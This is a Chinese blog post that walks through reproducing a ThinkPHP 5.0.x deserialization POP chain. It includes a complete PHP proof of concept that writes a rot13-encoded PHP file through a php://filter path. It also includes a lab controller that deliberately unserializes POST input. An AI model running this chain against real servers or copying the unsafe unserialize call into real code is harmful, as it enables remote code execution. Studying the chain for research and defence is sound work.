ThinkPHP v5.0.x反序列化 Pop Chain复现(附POC)

0x00关于本文

本文内容是针对ThinkPHP v5.0. fx 反序列化利用链挖掘的复现。
本文会从一 个只会反序列化基础知识的小白的视角一步一步复现这个利用链,在阅读本文的时候需要具备一定反序列化的基础,同时配合ThinkPHP v5.0.x 反序列化利用链挖掘阅读。

在复现的过程中由于原文写的过于模糊,有一部分利用链不太一样但是开头结尾是一样的。
同时很不幸,该利用链不能在Windows上利用(待会我会说原因的),期待各位大佬找到一条通用的pop chain

0x01环境搭建

首先需要有个ThinkPHP V5.0.24的环境,这个过程就略过去了,接着再在application/index/controller/Index.php写下如下代码
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_POST['payload']));
    }
}
为什么我要选择使用base64_decode的办法传递Payload呢,那是因为在序列化字符串中往往有一些不可见字符,复制的话会漏掉,索性base64

0x02万事开头难--第一个类的反序列化及为什么要命名空间(namespace)以及extents

想要搞反序列化必然是需要一个起点的,原文使用了Windows类来开始
那首先我们需要一个Windows类
于是构建代码如下
<?php
namespace think\process\pipes;
class Windows
{

}
$x=new Windows();
echo serialize($x);
echo "<p>";
echo base64_encode(serialize($x));
底下我分别输出了反序列化的结果和base64编码过后的反序列化结果以便检查

为什么需要在前面加个namespace呢?
因为ThinkPHP中的Windows类是有namespace的,长这样:
namespace think\process\pipes;

use think\Process;

class Windows extends Pipes
{
......
我们需要指名道姓地钦点它才可以,这样反序列化出来的字符串长这样:O:27:"think\process\pipes\Windows":0:{}
是包含了命名空间的,而如果不加的话字符串就成了O:7:"Windows":0:{}
它们是不一样的,在我们实际测试中发现只有前面那种才能引起反序列化
(ThinkPHP官方是不会写什么函数被调用的话的,因此这句话当然是我加在函数里面以便调试的)

其中Windows类继承了抽象类Pipes,但是实际测试发现不管父类对于生成的代码没有影响,因此我们可以直接忽略父类,缩短我们的POC

0x03抽象类的利用和利用链的连接

文中说到我们需要利用__toString做跳板,并找到了Model抽象类
可是这个抽象类,我们不能直接定义,那该怎么办呢?答案很简单,找子类
我们很轻松地找到了Pivot子类,它长这样
namespace think\model;

use think\Model;

class Pivot extends Model
{
抄过去再改改就成了这样
<?php
namespace think\model;

class Pivot
{

}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
$x=new Windows();
echo serialize($x);
echo "<p>";
echo base64_encode(serialize($x));

关于处理子类,我在上一节已经说过,就抄它的namespace,extends去掉就可以了。
接着我们要把它塞到Windows类的file里面去,这里首先要注意,我们不能直接这么写代码
protected $file=[new Pivot()];
而要定义一个构造函数,因为Pivot()是动态的,需要__construct函数来动态赋值

如果读者足够细心还会发现一行莫名其妙的代码
use think\model\Pivot;
根本不知道从哪儿来的
而如果我们不加的话就会出现这样的错误
( ! ) Fatal error: Uncaught Error: Class 'think\process\pipes\Pivot' not found in D:\wamp64\www\thinkphp_5.0.24\public\index4.php on line 14
这一行功能是导入已有的命名空间,之所以要这么做是因为它是命名空间think\model(我们刚刚定义在前面的)下的Pivot类,以后遇到了类似情况照此处理,即命名空间+"\"+类名
就这样我们成功调用了toArray函数

0x04不知道标题取啥反正下一步

接下来的利用花了我很长时间。
作者说要执行$item[$key] = $value ? $value->getAttr($attr) : null;这部分代码,同时操控$value来使其调用__call(因为$value是我们选择的对象,这个对象没有getAttr函数就会调用__call函数)

作者说关键是这两行控制了$value,因此我们想要控制$value那我们必须要通过操控这两行来操控$value。
$modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);

那我们开始分析了,首先想要进到这个If分支需要通过
        if (!empty($this->append)) {
的检验,所以我们首先得给$this->append设个值
那么就需要考虑这句话了
$modelRelation = $this->$relation();
作者说要利用getError是咋回事呢?这个和getError有啥关系?
仔细看代码,是$this->$relation()不是$this->relation(),$relation是一个变量,因此我们要是能把$relation设定成getError这个字符串就可以了。
作者没有提到怎么操纵,于是我得自己想办法看调用路径
foreach ($this->append as $key => $name) {
接着是
 $relation = Loader::parseName($name1false);
这个append我们可以控制,这个parseName函数就是个转换命名格式的函数,不会对getError这个字符串有改变,于是只需要再Pivot类里面进行如下改动就可以
protected $append = ['getError'];
由于getError函数返回的就是this->error,这个值我们可以操控,所以我们就可以操控$modelRelation了。

0x05换条POP链

作者说了,要把$modelRelation换成一个HasOne对象,因为这里面有一个getRelationData可以调用。构造到这一步,当前代码如下
<?php
namespace think\model\relation;
class HasOne
{
}

namespace think\model;

use think\model\relation\HasOne;
class Pivot
{
    protected $append = ['getError'];
    public function __construct()
    {
        $this->error=new HasOne();
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
$x=new Windows();
echo serialize($x);
echo "<p>";
echo base64_encode(serialize($x));
可是到了这一步,我搞不懂作者是怎么弄得了,他写的实在是太模糊了,所以我换了条POP链,发现居然也能用
在HasOne类的getRelation函数中有如下代码
  $relationModel = $this->query
            ->removeWhereField($this->foreignKey)
            ->where($this->foreignKey$this->parent->$localKey)
            ->relation($subRelation)
            ->find();
我发现这个query可以利用,这个foreignKey也可以操控,那不就可以了吗?
抱着试试看的想法,把$this->query设成Output,直接跳到Output类去。
结果成功了

0x06最后的坑

如果看懂了我前面写的东西(没看懂就算了。。。)那么剩下的代码就不难构造了
<?php
//File类
namespace think\cache\driver;
class File
{
    protected $tag='sodayo';
    protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => false,
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',
        'data_compress' => false,
    ];
}

//Memcached类
namespace think\session\driver;
use think\cache\driver\File;
class Memcached
{
    protected $handler;
    function __construct()
    {
        $this->handler=new File();
    }
}

//Output类
namespace think\console;
use think\session\driver\Memcached;
class Output
{
    protected $styles = ['removeWhereField'];
    function __construct()
    {
        $this->handle=new Memcached();
    }
}
//HasOne类
namespace think\model\relation;
use think\console\Output;
class HasOne
{
    //protected $foreignKey="sss"; //$this->query->removeWhereField($this->foreignKey)
    function __construct()
    {
        $this->query=new Output();
    }
}

//Pivot类
namespace think\model;
use think\model\relation\HasOne;
class Pivot
{
    protected $append = ['getError'];
    public function __construct()
    {
        $this->error=new HasOne();
    }
}
//Windows类
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
$x=new Windows();
echo serialize($x);
echo "<p>";
echo base64_encode(serialize($x));
(其实是我懒得写了)
可是发现file_get_contents后面就运行不了了?
调试了半天才发现,Windows系统里面创建不了含有某些特殊字符的文件,我一口老血喷到屏幕上
最后在Linux上面复现成功

0x06最后

这什么鬼玩意,搞了那么半天才复现一条鸡肋反序列化链,而且我从来没见过哪个程序员允许我控制整个路径或者反序列化过程,很怀疑这玩意的使用价值

评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸